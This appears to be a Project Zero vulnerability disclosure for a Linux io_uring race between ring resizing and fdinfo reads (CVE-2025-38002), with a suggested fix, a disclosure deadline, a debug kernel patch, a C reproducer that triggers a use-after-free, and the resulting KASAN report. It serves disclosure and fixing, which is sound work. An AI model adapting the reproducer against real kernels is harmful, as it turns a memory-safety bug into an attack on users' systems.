Issue description Since commit 79cfe9e59c2a ("io_uring/register: add IORING_REGISTER_RESIZE_RINGS", landed in v6.13), IORING_REGISTER_RESIZE_RINGS can replace a uring context's SQE and CQE allocations. However, io_uring_show_fdinfo() assumes that the context's ->sq_array, ->sq_sqes and ->rings->cqes are stable. So if IORING_REGISTER_RESIZE_RINGS and io_uring_show_fdinfo race the right way, UAF or OOB data reads can happen. Maybe at this point, it would make sense to move up the trylock of ctx->uring_lock in io_uring_show_fdinfo(), and bail out pretty much at the start of the function if the ctx->uring_lock couldn't be trylocked? Disclosure deadline This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-08-11. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html Reproducer To test one of these cases, with current mainline (at commit e9565e23cd89d4d5cd4388f8742130be1d6f182d), patch a delay into the fdinfo code after computing the pointer to an SQE: diff --git a/io_uring/fdinfo.c b/io_uring/fdinfo.c index 9414ca6d101c..7703a8aa3c37 100644 --- a/io_uring/fdinfo.c +++ b/io_uring/fdinfo.c @@ -6,6 +6,7 @@ #include #include #include +#include #include @@ -141,6 +142,7 @@ __cold void io_uring_show_fdinfo(struct seq_file *m, struct file *file) if (sq_idx > sq_mask) continue; sqe = &ctx->sq_sqes[sq_idx << sq_shift]; + mdelay(2000); seq_printf(m, "%5u: opcode:%s, fd:%d, flags:%x, off:%llu, " "addr:0x%llx, rw_flags:0x%x, buf_index:%d " "user_data:%llu", Then build with ASAN and run this sample: #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include static void pin_to(int cpu) { cpu_set_t cset; CPU_ZERO(&cset); CPU_SET(cpu, &cset); if (sched_setaffinity(0, sizeof(cpu_set_t), &cset)) err(1, "set affinity"); } /* for building with outdated kernel headers */ #if 1 #define IORING_REGISTER_RESIZE_RINGS 33 #endif #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) #define NUM_SQ_PAGES_A 4 #define NUM_SQ_PAGES_B 8 /* kernel-internal structs describing shared memory layout */ struct io_uring { __u32 head; __u32 tail; }; struct io_rings { struct io_uring sq, cq; __u32 sq_ring_mask, cq_ring_mask; __u32 sq_ring_entries, cq_ring_entries; __u32 sq_dropped; int sq_flags; __u32 cq_flags; __u32 cq_overflow; struct io_uring_cqe cqes[] __attribute__((__aligned__(64))); }; static struct io_rings *rings_new; static int uring_fd; static void *thread_fn(void *dummy) { char fdinfo_path[1000]; sprintf(fdinfo_path, "/proc/self/fdinfo/%d", uring_fd); int fdinfo_fd = SYSCHK(open(fdinfo_path, O_RDONLY)); char fdinfo_buf[4096+1]; int read_res = SYSCHK(read(fdinfo_fd, fdinfo_buf, 4096)); fdinfo_buf[read_res] = '\0'; printf("read %d bytes fdinfo:\n%s\n", read_res, fdinfo_buf); return NULL; } int main(void) { struct io_uring_sqe *sqes_old = SYSCHK(mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0)); struct io_rings *rings_old = SYSCHK(mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0)); struct io_uring_sqe *sqes_new = SYSCHK(mmap(NULL, 0x8000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0)); rings_new = SYSCHK(mmap(NULL, 0x8000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0)); struct io_uring_params params = { .flags = IORING_SETUP_NO_MMAP|IORING_SETUP_DEFER_TASKRUN|IORING_SETUP_SINGLE_ISSUER, .sq_off = { .user_addr = (unsigned long)sqes_old }, .cq_off = { .user_addr = (unsigned long)rings_old } }; uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/10, ¶ms)); rings_old->sq.head = /*0x80000000*/0; rings_old->sq.tail = /*0x80000001*/1; SYSCHK(munmap(sqes_old, 0x4000)); SYSCHK(munmap(rings_old, 0x4000)); pthread_t thread; if (pthread_create(&thread, NULL, thread_fn, NULL)) errx(1, "pthread_create"); sleep(1); struct io_uring_params resize_params = { .sq_off = { .user_addr = (unsigned long)sqes_new }, .cq_off = { .user_addr = (unsigned long)rings_new }, .sq_entries = 20 }; SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_RESIZE_RINGS, &resize_params, 1)); pthread_join(thread, NULL); } You should hopefully get a KASAN splat like this (guess unwind lines removed): ================================================================== BUG: KASAN: use-after-free in io_uring_show_fdinfo+0x773/0x1580 Read of size 1 at addr ffff888117f7f000 by task uring-fdinfo-re/1174 CPU: 2 UID: 1000 PID: 1174 Comm: uring-fdinfo-re Not tainted 6.15.0-rc6-00047-ge9565e23cd89-dirty #124 PREEMPT Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Call Trace: __dump_stack+0x15/0x20 dump_stack_lvl+0xb4/0x100 print_report+0xbc/0x290 kasan_report+0x148/0x180 __asan_report_load1_noabort+0x10/0x20 io_uring_show_fdinfo+0x773/0x1580 seq_show+0x442/0x4f0 seq_read_iter+0x499/0xb50 seq_read+0x252/0x360 vfs_read+0x1da/0x970 ksys_read+0x10e/0x1d0 __x64_sys_read+0x77/0x90 x64_sys_call+0x2d73/0x2fa0 do_syscall_64+0x42/0xc0 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7fdb3d9ac71c Code: ec 28 48 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 19 ad f8 ff 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 31 c0 0f 05 <48> 3d 00 f0 ff ff 77 34 44 89 c7 48 89 44 24 08 e8 6f ad f8 ff 48 RSP: 002b:00007fdb3d8a3a80 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 RAX: ffffffffffffffda RBX: 00007fdb3d8a5cdc RCX: 00007fdb3d9ac71c RDX: 0000000000001000 RSI: 00007fdb3d8a3ac0 RDI: 0000000000000004 RBP: 00007fdb3d8a4ed0 R08: 0000000000000000 R09: 00000000ffffffff R10: 0000000000000003 R11: 0000000000000246 R12: ffffffffffffff88 R13: 0000000000000000 R14: 00007ffe6b7ade20 R15: 00007fdb3d0a5000 The buggy address belongs to the physical page: page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x117f7f flags: 0x200000000000000(node=0|zone=2) raw: 0200000000000000 ffffea00049be248 ffffea0004a5c988 0000000000000000 raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff888117f7ef00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff888117f7ef80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >ffff888117f7f000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ^ ffff888117f7f080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff888117f7f100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ================================================================== Related CVE Number: CVE-2025-38002. Credit: Jann Horn